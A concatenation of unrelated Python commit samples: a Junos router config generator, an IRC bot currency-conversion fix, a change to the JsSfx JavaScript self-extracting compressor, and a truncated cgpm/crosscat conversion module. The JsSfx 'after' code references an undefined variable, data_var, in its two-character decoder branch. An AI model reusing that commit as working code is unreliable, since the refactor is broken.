                external_peers.append({
                    'id': peer_ip,
                    'peer_as': self.network.asn(peer)})
            bgp_groups['external_peers'] = {
                    'type': 'external',
                    'neighbors': external_peers}

        return bgp_groups

    def configure_junos(self):
        """ Configures Junos"""
        LOG.info("Configuring Junos")
        junos_template = lookup.get_template("junos/junos.mako")
        ank_version = pkg_resources.get_distribution("AutoNetkit").version

        physical_graph = self.network.graph
        igp_graph = ank.igp_graph(self.network)
        ibgp_graph = ank.get_ibgp_graph(self.network)
        ebgp_graph = ank.get_ebgp_graph(self.network)

        #TODO: correct this router type selector
        for node in self.network.graph:
            asn = self.network.asn(node)
            network_list = []
            lo_ip = self.network.lo_ip(node)

            interfaces = self.configure_interfaces(node)
            igp_interfaces = self.configure_igp(node, igp_graph)
            bgp_groups = self.configure_bgp(node, physical_graph, ibgp_graph, ebgp_graph)

            # advertise AS subnet
            adv_subnet = self.network.ip_as_allocs[asn]
            if not adv_subnet in network_list:
                network_list.append(adv_subnet)

            juniper_filename = router_conf_path(self.network, node)
            with open( juniper_filename, 'w') as f_jun:
                f_jun.write( junos_template.render(
                    hostname = ank.fqdn(self.network, node),
                    username = 'autonetkit',
                    interfaces=interfaces,
                    igp_interfaces=igp_interfaces,
                    igp_protocol = self.igp,
                    asn = asn,
                    lo_ip=lo_ip,
                    router_id = lo_ip.ip,
                    network_list = network_list,
                    bgp_groups = bgp_groups,
                    ank_version = ank_version,
                    ))

    def configure(self):
        self.configure_junosphere()
        self.configure_junos()
# create .tgz
        tar_filename = "junos_%s.tar.gz" % time.strftime("%Y%m%d_%H%M",
                time.localtime())
        tar = tarfile.open(os.path.join(config.ank_main_dir,
            tar_filename), "w:gz")
# arcname to flatten file structure
        tar.add(lab_dir(), arcname="")
        self.network.compiled_labs['junos'] = tar_filename
        tar.close()
<|endoftext|>


<commit_before># -*- coding: utf-8 -*-
"""
Created on Dec 06, 2016

@author: Tyranic-Moron
"""
import json

from IRCMessage import IRCMessage
from IRCResponse import IRCResponse, ResponseType
from CommandInterface import CommandInterface

from Utils import WebUtils

from twisted.words.protocols.irc import assembleFormattedText, attributes as A

class Currency(CommandInterface):
    triggers = ['currency']
    help = "currency [<amount>] <from> in <to> - converts <amount> in <from> currency to <to> currency"
    runInThread = True

    def execute(self, message):
        """
        @type message: IRCMessage
        """
        if len(message.ParameterList) < 3:
            return IRCResponse(ResponseType.Say, self.help, message.ReplyTo)

        try:
            amount = float(message.ParameterList[0])
            offset = 1
        except ValueError:
            amount = 1.0
            offset = 0

        ccFrom = message.ParameterList[offset]
        ccTo   = message.ParameterList[offset+2:]
        ccTo   = ",".join(ccTo)

        url = "https://api.fixer.io/latest?base={}&symbols={}"
        url = url.format(ccFrom, ccTo)
        response = WebUtils.fetchURL(url)
        jsonResponse = json.loads(response.body)
        rates = jsonResponse['rates']

        if not rates:
            return IRCResponse(ResponseType.Say,
                               "Some or all of those currencies weren't recognized!",
                               message.ReplyTo)

        data = []
        for curr,rate in rates.iteritems():
            data.append("{} {}".format(rate*amount, curr))

        graySplitter = assembleFormattedText(A.normal[' ', A.fg.gray['|'], ' '])
        return IRCResponse(ResponseType.Say, graySplitter.join(data), message.ReplyTo)
<commit_msg>[Currency] uppercase currencies before passing to API<commit_after># -*- coding: utf-8 -*-
"""
Created on Dec 06, 2016

@author: Tyranic-Moron
"""
import json

from IRCMessage import IRCMessage
from IRCResponse import IRCResponse, ResponseType
from CommandInterface import CommandInterface

from Utils import WebUtils

from twisted.words.protocols.irc import assembleFormattedText, attributes as A

class Currency(CommandInterface):
    triggers = ['currency']
    help = "currency [<amount>] <from> in <to> - converts <amount> in <from> currency to <to> currency"
    runInThread = True

    def execute(self, message):
        """
        @type message: IRCMessage
        """
        if len(message.ParameterList) < 3:
            return IRCResponse(ResponseType.Say, self.help, message.ReplyTo)

        try:
            amount = float(message.ParameterList[0])
            offset = 1
        except ValueError:
            amount = 1.0
            offset = 0

        ccFrom = message.ParameterList[offset].upper()
        ccTo   = message.ParameterList[offset+2:]
        ccTo   = ",".join(ccTo)
        ccTo   = ccTo.upper()

        url = "https://api.fixer.io/latest?base={}&symbols={}"
        url = url.format(ccFrom, ccTo)
        response = WebUtils.fetchURL(url)
        jsonResponse = json.loads(response.body)
        rates = jsonResponse['rates']

        if not rates:
            return IRCResponse(ResponseType.Say,
                               "Some or all of those currencies weren't recognized!",
                               message.ReplyTo)

        data = []
        for curr,rate in rates.iteritems():
            data.append("{} {}".format(rate*amount, curr))

        graySplitter = assembleFormattedText(A.normal[' ', A.fg.gray['|'], ' '])
        return IRCResponse(ResponseType.Say, graySplitter.join(data), message.ReplyTo)
<|endoftext|>


<commit_before># Copyright (c) 2006-2010 Berend-Jan "SkyLined" Wever <berendjanwever@gmail.com>
# Project homepage: http://code.google.com/p/jssfx/
# All rights reserved. See COPYRIGHT.txt for details.

def FindSubStrings(string, substr):
  indices = [];
  index = 0;
  while 1:
    index = string.find(substr, index);
    if index == -1:
      return indices;
    indices.append(index);
    index += len(substr);

def EncodeJavaScriptString(string):
  if string.count('"') < string.count("'"):
    quote = '"';
  else:
    quote = "'";
  result = '';
  replaces = [('\\', '\\\\'),
              ('\r', '\\r'),
              ('\n', '\\n'),
              (quote, '\\' + quote)];
  encoded_string = string;
  for a, b in replaces:
    encoded_string = encoded_string.replace(a, b);
  return quote + encoded_string + quote;

class JsSfx12(object):
  def __init__(self, compressed_str, valid_chars, valid_chars_description, max_unused_str_len, log_level, use_charat,
      variable_chars, decompress_str = '', two_char_switch_index = None):
    self.compressed_str = compressed_str;
    # Characters that require escaping will use more space in our data than other chars. In order to get the smallest
    # output, they will be save for last when the more efficient characters are exhausted.
    if '"' in valid_chars:
      valid_chars = valid_chars.replace('"', '') + '"';
    if '\'' in valid_chars:
      valid_chars = valid_chars.replace('\'', '') + '\'';
    if '\\' in valid_chars:
      valid_chars = valid_chars.replace('\\', '') + '\\';
    if '\r' in valid_chars:
      valid_chars = valid_chars.replace('\r', '') + '\r';
    if '\n' in valid_chars:
      valid_chars = valid_chars.replace('\n', '') + '\n';
    self.valid_chars = valid_chars;
    self.valid_chars_description = valid_chars_description;
    self.max_unused_str_len = max_unused_str_len;
    self.log_level = log_level;
    self.use_charat = use_charat;
    self.variable_chars = variable_chars;
    self.decompress_str = decompress_str;
    if two_char_switch_index is None:
      self.two_char_switch_index = len(decompress_str) + 1;
    else:
      self.two_char_switch_index = two_char_switch_index;
    self.ran_out_of_unused_strs = False;

  def ReplaceCompress(self, unused_str, repeated_str):
    new_decompress_str = self.decompress_str + unused_str;
    two_char_switch_index = self.two_char_switch_index;
    if len(unused_str) == 1:
      two_char_switch_index += 1;
    new_compressed_str = self.compressed_str.replace( \
        repeated_str, unused_str) + unused_str + repeated_str;
    return JsSfx12(new_compressed_str, self.valid_chars, self.valid_chars_description, self.max_unused_str_len, \
        self.log_level, self.use_charat, self.variable_chars, new_decompress_str, two_char_switch_index);

  def __len__(self):
    return len(str(self));

  def __str__(self):
    if self.use_charat:
      get_char_c = '.charAt(%s)' % self.variable_chars[1];
    else:
      get_char_c = '[%s]' % self.variable_chars[1];
    if self.max_unused_str_len == 1:
      return \
          '%s=%s;' % (self.variable_chars[0], EncodeJavaScriptString(self.compressed_str)) + \
          'for(' + \
              '%s=%d;' % (self.variable_chars[1], len(self.decompress_str)) + \
              '%s--;' % self.variable_chars[1] + \
              '%s=(%s=%s.split(%s%s)).join(%s.pop())' % (self.variable_chars[0], self.variable_chars[2], \
                  self.variable_chars[0], EncodeJavaScriptString(self.decompress_str), get_char_c, \
                  self.variable_chars[2]) + \
          ');' + \
          'eval(%s)' % self.variable_chars[0];
#          'for(%s in %s=%s)' % (self.variable_chars[1], self.variable_chars[2], EncodeJavaScriptString(self.decompress_str)) + \
#              '%s=(%s=%s.split(%s%s)).join(%s.pop())' % (self.variable_chars[0], self.variable_chars[3], \
#                  self.variable_chars[0], self.variable_chars[2], get_char_c, \
#                  self.variable_chars[3]) + \
#          ');' + \
    elif self.max_unused_str_len == 2:
      start_index = len(self.decompress_str);
      return \
          '%s=%s;' % (self.variable_chars[0], EncodeJavaScriptString(self.compressed_str)) + \
          'for(' + \
              '%s=%d;' % (self.variable_chars[1], start_index) + \
              '%s;' % self.variable_chars[1] + \
              '%s=(%s=%s.split(%s.substr(%s-=(%s=%s<%d?1:2),%s))).join(%s.pop())' % \
                  (self.variable_chars[0], self.variable_chars[2], self.variable_chars[0], \
                  EncodeJavaScriptString(self.decompress_str), self.variable_chars[1], self.variable_chars[3], \
                  self.variable_chars[1], self.two_char_switch_index + 1, self.variable_chars[3], self.variable_chars[2]) + \
          ');' + \
          'eval(%s)' % self.variable_chars[0];
    else:
      raise AssertionError('max_unused_str_len = ' + repr(self.max_unused_str_len) + '??');

  def GetSmallestUnusedString(self):
    if self.log_level >= 2:
      print 'Searching for smallest unused string of at most %d chars:' % \
          self.max_unused_str_len;
    seqs = [''];
    seqs_len = 0;
    while seqs_len < 2 and seqs_len < self.max_unused_str_len:
      new_seqs = [];
      for seq in seqs:
        for char in self.valid_chars:
          new_seq = seq + char;
          if self.compressed_str.find(new_seq) == -1:
            if self.log_level >= 2:
              print ('\rSmallest unused string = %s.' % \
                  repr(new_seq)).ljust(79);
            return new_seq;
          new_seqs.append(new_seq);
      seqs = new_seqs;
      seqs_len += 1;
      if self.log_level >= 2:
        print '\rSearching for smallest unused string... ' \
            '(%d chars, %d variation)' % (seqs_len, len(seqs));
    if self.log_level >= 2:
      print '\rFound no unused string.'.ljust(79);
    return None;

  def GetMostRepeatedStrings(self, min_len):
    seqs = {};
    if self.log_level >= 2:
      print 'Looking for repeated string of at least %d chars:' % min_len;
    for i in range(0, len(self.compressed_str) - min_len * 2 + 1):
      seq = self.compressed_str[i:i + min_len];
      if seq not in seqs.keys():
        indices = FindSubStrings(self.compressed_str, seq);
        if len(indices) > 1:
          seqs[seq] = indices;
    if self.log_level >= 2:
      print '- Found %d repeated strings of %d chars.' % \
          (len(seqs), min_len);
    for seq_len in range(min_len + 1, len(self.compressed_str) / 2):
      del_seqs = [];
      new_seqs = {};
      for seq, indices in seqs.items():
        if len(seq) == seq_len - 1:
          for index in indices:
            new_seq = self.compressed_str[index:index + seq_len];
            if len(new_seq) != seq_len:
              # We have found something at the end of the string and cannot
              # expand it further, eg. expanding the second 'A' in '...AB...A'.
              continue;
            if new_seq in new_seqs.keys():
              # We have already expanded this string before, eg. expanding the
              # second 'A' in 'ABxxxAB' as opposed to expanding the second 'A'
              # in '...AB...AC...'.
              continue;
            new_indices = FindSubStrings(self.compressed_str, new_seq);
            if len(new_indices) <= 1:
              # This string is not repeated, eg. expanding 'A' to 'AB' in
              # '...AB...A...'.
              continue;
            new_seqs[new_seq] = new_indices;
            if len(new_indices) == len(indices):
              # We have expanded a string into a string that is repeated exactly
              # as often as the original. This means that we can forget about
              # the original because it is always more efficient to use the
              # longer string, eg. expanding 'A' to 'AB' in '...AB...AB...'.
              del_seqs.append(seq);
              break;
      if len(new_seqs) == 0:
        # If there are no repeated strings of the current length, then there are
        # definitely no repeated strings of longer length, so we can stop.
        if self.log_level >= 2:
          print 'Found no repeated strings of %d chars.   ' % seq_len;
        break;
      for seq in del_seqs:
        del seqs[seq];
      seqs.update(new_seqs);
      if len(del_seqs) > 0:
        if self.log_level >= 2:
          print '- Expanded %d repeated strings of %d chars to %d chars.' % \
              (len(del_seqs), seq_len - 1, seq_len);
      if len(new_seqs) - len(del_seqs) > 0:
        if self.log_level >= 2:
          print '- Found %d repeated strings of %d chars.' % \
              (len(new_seqs) - len(del_seqs), seq_len);
      if self.log_level >= 2:
        print '\rFound %d repeated strings.' % len(seqs),;
    return seqs;

  def Compress(self):
    while 1:
      unused_string = self.GetSmallestUnusedString();
      if unused_string is None:
        self.ran_out_of_unused_strs = True;
        if self.log_level == 2:
          print 'No more unused strings available for replacing.';
        break;
      seqs = self.GetMostRepeatedStrings(len(unused_string) + 1);
      if len(seqs) == 0:
        if self.log_level == 2:
          print 'No more repeated strings available for replacing.';
        break;
      if self.log_level >= 2:
        print 'Looking for best compression among %d possible replacements:' % \
            len(seqs);
      best_saved_bytes = 0;
      best_new_js_sfx = None;
      progress = 0;
      last_percent = -1;
      for seq, indices in seqs.items():
        progress += 1;
        new_js_sfx = self.ReplaceCompress(unused_string, seq);
        saved_bytes = len(self) - len(new_js_sfx);
        if saved_bytes > best_saved_bytes:
          best_saved_bytes = saved_bytes;
          best_new_js_sfx = new_js_sfx;
          if self.log_level == 2:
            print '\r- Replacing %d * %s with %s will save %d bytes.' % \
                (len(indices), repr(seq), repr(unused_string), saved_bytes);
          last_percent = -1;
        percent = 100 * progress / len(seqs);
        if percent > last_percent:
          if self.log_level == 2:
            print '\rChecking replace %d/%d (%d%%)...' % (progress, len(seqs), percent),;
          last_percent = percent;
      if best_new_js_sfx is None:
        if self.log_level == 2:
          print '\rAvailable repeated and unused strings do not allow further ' \
              'compression.'.ljust(79);
        break;
      else:
        if self.log_level == 2:
          print '\rReplace reduced size from %d to %d bytes' % \
              (len(self), len(best_new_js_sfx));
        elif self.log_level <= 1:
          print '\r%5d | JsSfx1.%d %s %d replacements\r' % (len(self), self.max_unused_str_len, \
              self.valid_chars_description, len(self.decompress_str)),;
        self.decompress_str = best_new_js_sfx.decompress_str;
        self.compressed_str = best_new_js_sfx.compressed_str;
        self.max_unused_str_len = best_new_js_sfx.max_unused_str_len;
        self.two_char_switch_index = best_new_js_sfx.two_char_switch_index;
    if self.log_level <= 1:
      print '\r%5d | JsSfx1.%d %s %d replacements' % (len(self), self.max_unused_str_len, \
          self.valid_chars_description, len(self.decompress_str));

<commit_msg>* Shave 1 byte off of JSSfx1.2 decoder<commit_after># Copyright (c) 2006-2010 Berend-Jan "SkyLined" Wever <berendjanwever@gmail.com>
# Project homepage: http://code.google.com/p/jssfx/
# All rights reserved. See COPYRIGHT.txt for details.

def FindSubStrings(string, substr):
  indices = [];
  index = 0;
  while 1:
    index = string.find(substr, index);
    if index == -1:
      return indices;
    indices.append(index);
    index += len(substr);

def EncodeJavaScriptString(string):
  if string.count('"') < string.count("'"):
    quote = '"';
  else:
    quote = "'";
  result = '';
  replaces = [('\\', '\\\\'),
              ('\r', '\\r'),
              ('\n', '\\n'),
              (quote, '\\' + quote)];
  encoded_string = string;
  for a, b in replaces:
    encoded_string = encoded_string.replace(a, b);
  return quote + encoded_string + quote;

class JsSfx12(object):
  def __init__(self, compressed_str, valid_chars, valid_chars_description, max_unused_str_len, log_level, use_charat,
      variable_chars, decompress_str = '', two_char_switch_index = None):
    self.compressed_str = compressed_str;
    # Characters that require escaping will use more space in our data than other chars. In order to get the smallest
    # output, they will be save for last when the more efficient characters are exhausted.
    if '"' in valid_chars:
      valid_chars = valid_chars.replace('"', '') + '"';
    if '\'' in valid_chars:
      valid_chars = valid_chars.replace('\'', '') + '\'';
    if '\\' in valid_chars:
      valid_chars = valid_chars.replace('\\', '') + '\\';
    if '\r' in valid_chars:
      valid_chars = valid_chars.replace('\r', '') + '\r';
    if '\n' in valid_chars:
      valid_chars = valid_chars.replace('\n', '') + '\n';
    self.valid_chars = valid_chars;
    self.valid_chars_description = valid_chars_description;
    self.max_unused_str_len = max_unused_str_len;
    self.log_level = log_level;
    self.use_charat = use_charat;
    self.variable_chars = variable_chars;
    self.decompress_str = decompress_str;
    if two_char_switch_index is None:
      self.two_char_switch_index = len(decompress_str) + 1;
    else:
      self.two_char_switch_index = two_char_switch_index;
    self.ran_out_of_unused_strs = False;

  def ReplaceCompress(self, unused_str, repeated_str):
    new_decompress_str = self.decompress_str + unused_str;
    two_char_switch_index = self.two_char_switch_index;
    if len(unused_str) == 1:
      two_char_switch_index += 1;
    new_compressed_str = self.compressed_str.replace( \
        repeated_str, unused_str) + unused_str + repeated_str;
    return JsSfx12(new_compressed_str, self.valid_chars, self.valid_chars_description, self.max_unused_str_len, \
        self.log_level, self.use_charat, self.variable_chars, new_decompress_str, two_char_switch_index);

  def __len__(self):
    return len(str(self));

  def __str__(self):
    compressed_data_var = self.variable_chars[0];
    decompress_data_var = self.variable_chars[1];
    char_var = self.variable_chars[2];
    temp_var = self.variable_chars[3];
    inc_var = self.variable_chars[4];
    if self.use_charat:
      get_char_js = '.charAt(%s)' % char_var;
    else:
      get_char_js = '[%s]' % char_var;
    if self.max_unused_str_len == 1:
      reversed_decompress_str = [x for x in self.decompress_str];
      reversed_decompress_str.reverse();
      reversed_decompress_str = ''.join(reversed_decompress_str);
      return ''.join([
          '%s=%s;' % (compressed_data_var, EncodeJavaScriptString(self.compressed_str)),
          'for(%s in %s=%s)' % (char_var, decompress_data_var, EncodeJavaScriptString(reversed_decompress_str)),
              '%s=%s.split(%s%s),' % (temp_var, compressed_data_var, decompress_data_var, get_char_js),
              '%s=%s.join(%s.pop());' % (compressed_data_var, temp_var, temp_var),
          'eval(%s)' % compressed_data_var,
      ]);
    elif self.max_unused_str_len == 2:
      start_index = len(self.decompress_str);
      return \
          '%s=%s;' % (compressed_data_var, EncodeJavaScriptString(self.compressed_str)) + \
          'for(' + \
              '%s=%d;' % (char_var, start_index) + \
              '%s;' % char_var + \
              '%s=(%s=%s.split(%s.substr(%s-=(%s=%s<%d?1:2),%s))).join(%s.pop())' % \
                  (compressed_data_var, temp_var, compressed_data_var, \
                  EncodeJavaScriptString(self.decompress_str), char_var, inc_var, \
                  char_var, self.two_char_switch_index + 1, inc_var, temp_var) + \
          ');' + \
          'eval(%s)' % data_var;
    else:
      raise AssertionError('max_unused_str_len = ' + repr(self.max_unused_str_len) + '??');

  def GetSmallestUnusedString(self):
    if self.log_level >= 2:
      print 'Searching for smallest unused string of at most %d chars:' % \
          self.max_unused_str_len;
    seqs = [''];
    seqs_len = 0;
    while seqs_len < 2 and seqs_len < self.max_unused_str_len:
      new_seqs = [];
      for seq in seqs:
        for char in self.valid_chars:
          new_seq = seq + char;
          if self.compressed_str.find(new_seq) == -1:
            if self.log_level >= 2:
              print ('\rSmallest unused string = %s.' % \
                  repr(new_seq)).ljust(79);
            return new_seq;
          new_seqs.append(new_seq);
      seqs = new_seqs;
      seqs_len += 1;
      if self.log_level >= 2:
        print '\rSearching for smallest unused string... ' \
            '(%d chars, %d variation)' % (seqs_len, len(seqs));
    if self.log_level >= 2:
      print '\rFound no unused string.'.ljust(79);
    return None;

  def GetMostRepeatedStrings(self, min_len):
    seqs = {};
    if self.log_level >= 2:
      print 'Looking for repeated string of at least %d chars:' % min_len;
    for i in range(0, len(self.compressed_str) - min_len * 2 + 1):
      seq = self.compressed_str[i:i + min_len];
      if seq not in seqs.keys():
        indices = FindSubStrings(self.compressed_str, seq);
        if len(indices) > 1:
          seqs[seq] = indices;
    if self.log_level >= 2:
      print '- Found %d repeated strings of %d chars.' % \
          (len(seqs), min_len);
    for seq_len in range(min_len + 1, len(self.compressed_str) / 2):
      del_seqs = [];
      new_seqs = {};
      for seq, indices in seqs.items():
        if len(seq) == seq_len - 1:
          for index in indices:
            new_seq = self.compressed_str[index:index + seq_len];
            if len(new_seq) != seq_len:
              # We have found something at the end of the string and cannot
              # expand it further, eg. expanding the second 'A' in '...AB...A'.
              continue;
            if new_seq in new_seqs.keys():
              # We have already expanded this string before, eg. expanding the
              # second 'A' in 'ABxxxAB' as opposed to expanding the second 'A'
              # in '...AB...AC...'.
              continue;
            new_indices = FindSubStrings(self.compressed_str, new_seq);
            if len(new_indices) <= 1:
              # This string is not repeated, eg. expanding 'A' to 'AB' in
              # '...AB...A...'.
              continue;
            new_seqs[new_seq] = new_indices;
            if len(new_indices) == len(indices):
              # We have expanded a string into a string that is repeated exactly
              # as often as the original. This means that we can forget about
              # the original because it is always more efficient to use the
              # longer string, eg. expanding 'A' to 'AB' in '...AB...AB...'.
              del_seqs.append(seq);
              break;
      if len(new_seqs) == 0:
        # If there are no repeated strings of the current length, then there are
        # definitely no repeated strings of longer length, so we can stop.
        if self.log_level >= 2:
          print 'Found no repeated strings of %d chars.   ' % seq_len;
        break;
      for seq in del_seqs:
        del seqs[seq];
      seqs.update(new_seqs);
      if len(del_seqs) > 0:
        if self.log_level >= 2:
          print '- Expanded %d repeated strings of %d chars to %d chars.' % \
              (len(del_seqs), seq_len - 1, seq_len);
      if len(new_seqs) - len(del_seqs) > 0:
        if self.log_level >= 2:
          print '- Found %d repeated strings of %d chars.' % \
              (len(new_seqs) - len(del_seqs), seq_len);
      if self.log_level >= 2:
        print '\rFound %d repeated strings.' % len(seqs),;
    return seqs;

  def Compress(self):
    while 1:
      unused_string = self.GetSmallestUnusedString();
      if unused_string is None:
        self.ran_out_of_unused_strs = True;
        if self.log_level == 2:
          print 'No more unused strings available for replacing.';
        break;
      seqs = self.GetMostRepeatedStrings(len(unused_string) + 1);
      if len(seqs) == 0:
        if self.log_level == 2:
          print 'No more repeated strings available for replacing.';
        break;
      if self.log_level >= 2:
        print 'Looking for best compression among %d possible replacements:' % \
            len(seqs);
      best_saved_bytes = 0;
      best_new_js_sfx = None;
      progress = 0;
      last_percent = -1;
      for seq, indices in seqs.items():
        progress += 1;
        new_js_sfx = self.ReplaceCompress(unused_string, seq);
        saved_bytes = len(self) - len(new_js_sfx);
        if saved_bytes > best_saved_bytes:
          best_saved_bytes = saved_bytes;
          best_new_js_sfx = new_js_sfx;
          if self.log_level == 2:
            print '\r- Replacing %d * %s with %s will save %d bytes.' % \
                (len(indices), repr(seq), repr(unused_string), saved_bytes);
          last_percent = -1;
        percent = 100 * progress / len(seqs);
        if percent > last_percent:
          if self.log_level == 2:
            print '\rChecking replace %d/%d (%d%%)...' % (progress, len(seqs), percent),;
          last_percent = percent;
      if best_new_js_sfx is None:
        if self.log_level == 2:
          print '\rAvailable repeated and unused strings do not allow further ' \
              'compression.'.ljust(79);
        break;
      else:
        if self.log_level == 2:
          print '\rReplace reduced size from %d to %d bytes' % \
              (len(self), len(best_new_js_sfx));
        elif self.log_level <= 1:
          print '\r%5d | JsSfx1.%d %s %d replacements\r' % (len(self), self.max_unused_str_len, \
              self.valid_chars_description, len(self.decompress_str)),;
        self.decompress_str = best_new_js_sfx.decompress_str;
        self.compressed_str = best_new_js_sfx.compressed_str;
        self.max_unused_str_len = best_new_js_sfx.max_unused_str_len;
        self.two_char_switch_index = best_new_js_sfx.two_char_switch_index;
    if self.log_level <= 1:
      print '\r%5d | JsSfx1.%d %s %d replacements' % (len(self), self.max_unused_str_len, \
          self.valid_chars_description, len(self.decompress_str));

<|endoftext|>


<commit_before># -*- coding: utf-8 -*-

# Copyright (c) 2015-2016 MIT Probabilistic Computing Project

# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at

#    http://www.apache.org/licenses/LICENSE-2.0

# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.

import sys

import numpy as np

from cgpm.mixtures.view import View
from cgpm.utils import timer as tu

def _crosscat_M_c(state):
    """Create M_c from cgpm.state.State"""
    T = state.X
    outputs = state.outputs
    cctypes = state.cctypes()
    distargs = state.distargs()

    assert len(T) == len(outputs) == len(cctypes) == len(distargs)
    assert all(c in ['normal', 'categorical'] for c in cctypes)
    ncols = len(outputs)

    def create_metadata_numerical():
        return {
            unicode('modeltype'): unicode('normal_inverse_gamma'),
            unicode('value_to_code'): {},
            unicode('code_to_value'): {},
        }
    def create_metadata_categorical(col, k):
        categories = [v for v in sorted(set(T[col])) if not np.isnan(v)]
        assert all(0 <= c < k for c in categories)
        codes = [unicode('%d') % (c,) for c in categories]
        ncodes = range(len(codes))
        return {
            unicode('modeltype'):
                unicode('symmetric_dirichlet_discrete'),
            unicode('value_to_code'):
                dict(zip(map(unicode, ncodes), codes)),
            unicode('code_to_value'):
                dict(zip(codes, ncodes)),
        }

    column_names = [unicode('c%d') % (i,) for i in outputs]
    # Convert all numerical datatypes to normal for lovecat.
    column_metadata = [
        create_metadata_numerical() if cctype != 'categorical' else\
            create_metadata_categorical(output, distarg['k'])
        for output, cctype, distarg in zip(outputs, cctypes, distargs)
    ]

    return {
        unicode('name_to_idx'):
            dict(zip(column_names, range(ncols))),
        unicode('idx_to_name'):
            dict(zip(map(unicode, range(ncols)), column_names)),
        unicode('column_metadata'):
            column_metadata,
    }

def _crosscat_T(state, M_c):
    """Create T from cgpm.state.State"""
    T = state.X
    def crosscat_value_to_code(val, col):
        if np.isnan(val):
            return val
        # For hysterical raisins, code_to_value and value_to_code are
        # backwards, so to convert from a raw value to a crosscat value we
        # need to do code->value.
        lookup = M_c['column_metadata'][col]['code_to_value']
        if lookup:
            assert unicode(int(val)) in lookup
            return float(lookup[unicode(int(val))])
        else:
            return val
    ordering = state.outputs
    rows = range(len(T[ordering[0]]))
    return [
        [crosscat_value_to_code(T[col][row], i)
            for (i, col) in enumerate(ordering)]
        for row in rows
    ]

def _crosscat_X_D(state, M_c):
    """Create X_D from cgpm.state.State"""
    view_assignments = state.Zv().values()
    views_unique = sorted(set(view_assignments))

    cluster_assignments = [
        state.views[v].Zr().values()
        for v in views_unique
    ]
    cluster_assignments_unique = [
        sorted(set(assgn))
        for assgn in cluster_assignments
    ]
    cluster_assignments_to_code = [
        {k:i for (i,k) in enumerate(assgn)}
        for assgn in cluster_assignments_unique
    ]
    cluster_assignments_remapped = [
        [coder[v] for v in assgn] for (coder, assgn)
        in zip(cluster_assignments_to_code, cluster_assignments)
    ]
    # cluster_assignments_remapped[i] contains the row partition for the
    # views_unique[i].
    return cluster_assignments_remapped

def _crosscat_X_L(state, M_c, X_D):
    """Create X_L from cgpm.state.State"""

    # -- Generates X_L['column_hypers'] --
    def column_hypers_numerical(index, hypers):
        assert state.cctypes()[index] != 'categorical'
        return {
            unicode('fixed'): 0.0,
            unicode('mu'): hypers['m'],
            unicode('nu'): hypers['nu'],
            unicode('r'): hypers['r'],
            unicode('s'): hypers['s'],
        }

    def column_hypers_categorical(index, hypers):
        assert state.cctypes()[index] == 'categorical'
        K = len(M_c['column_metadata'][index]['code_to_value'])
        assert K > 0
        return {
            unicode('fixed'): 0.0,
            unicode('dirichlet_alpha'): hypers['alpha'],
            unicode('K'): K
        }

    # Retrieve the column_hypers.
    column_hypers = [
        column_hypers_numerical(i, state.dims()[i].hypers)
            if cctype != 'categorical'
            else column_hypers_categorical(i, state.dims()[i].hypers)
        for i, cctype in enumerate(state.cctypes())
    ]

    # -- Generates X_L['column_partition'] --
    view_assignments = state.Zv().values()
    views_unique = sorted(set(view_assignments))
    views_to_code = {v:i for (i,v) in enumerate(views_unique)}
    # views_remapped[i] contains the zero-based view index for
    # state.outputs[i].
    views_remapped = [views_to_code[state.Zv(o)] for o in state.outputs]
    counts = list(np.bincount(views_remapped))
    assert 0 not in counts
    column_partition = {
        unicode('assignments'): views_remapped,
        unicode('counts'): counts,
        unicode('hypers'): {unicode('alpha'): state.alpha()}
    }

    # -- Generates X_L['view_state'] --
    def view_state(v):
        view = state.views[v]
        row_partition = X_D[views_to_code[v]]
        # Generate X_L['view_state'][v]['column_component_suffstats']
        numcategories = len(set(row_partition))
        column_component_suffstats = [
            [{} for c in xrange(numcategories)]
            for d in view.dims]

        # Generate X_L['view_state'][v]['column_names']
        column_names = \
            [unicode('c%d' % (o,)) for o in view.outputs[1:]]

        # Generate X_L['view_state'][v]['row_partition_model']
        counts = list(np.bincount(row_partition))
        assert 0 not in counts

        return {
            unicode('column_component_suffstats'):
                column_component_suffstats,
            unicode('column_names'):
                column_names,
            unicode('row_partition_model'): {
                unicode('counts'): counts,
                unicode('hypers'): {unicode('alpha'): view.alpha()}
            }
        }

    # view_states[i] is the view for code views_to_code[i], so we need to
    # iterate in the same order of views_unique to agree with both X_D (the row
    # partition in each view), as well as X_L['column_partition']['assignments']
    view_states = [view_state(v) for v in views_unique]

    # Generates X_L['col_ensure'].
    col_ensure = dict()
    if state.Cd:
        col_ensure['dependent'] = {
            str(column) : list(block)
            for block in state.Cd for column in block
        }
    if state.Ci:
        from crosscat.utils.general_utils import get_scc_from_tuples
        col_ensure['independent'] = {
            str(column) : list(block) for
            column, block in get_scc_from_tuples(state.Ci).iteritems()
        }

    return {
        unicode('column_hypers'): column_hypers,
        unicode('column_partition'): column_partition,
        unicode('view_state'): view_states,
        unicode('col_ensure'): col_ensure
    }

def _update_state(state, M_c, X_L, X_D):
    # Perform checking on M_c.
    assert all(c in ['normal','categorical'] for c in state.cctypes())
    assert len(M_c['name_to_idx']) == len(state.outputs)
    def _check_model_type(i):
        reference = 'normal_inverse_gamma' if state.cctypes()[i] == 'normal'\
            else 'symmetric_dirichlet_discrete'
        return M_c['column_metadata'][i]['modeltype'] == reference
    assert all(_check_model_type(i) for i in xrange(len(state.cctypes())))
    # Perform checking on X_D.
    assert all(len(partition)==state.n_rows() for partition in X_D)
    assert len(X_D) == len(X_L['view_state'])
    # Perform checking on X_L.
    assert len(X_L['column_partition']['assignments']) == len(state.outputs)

    # Update the global state alpha.
    state.crp.set_hypers(
        {'alpha': X_L['column_partition']['hypers']['alpha']}
    )

    assert state.alpha() == X_L['column_partition']['hypers']['alpha']
    assert state.crp.clusters[0].alpha ==\
        X_L['column_partition']['hypers']['alpha']

    # Create the new views.
    offset = max(state.views) + 1
    new_views = []
    for v in xrange(len(X_D)):
        alpha = X_L['view_state'][v]['row_partition_model']['hypers']['alpha']
        index = v + offset

        assert index not in state.views
        view = View(
            state.X,
            outputs=[state.crp_id_view + index],
            Zr=X_D[v],
            alpha=alpha,
            rng=state.rng
        )
        new_views.append(view)
        state._append_view(view, index)

    # Migrate the dims to their view partitions.
    for i, c in enumerate(state.outputs):
        v_a = state.Zv(c)
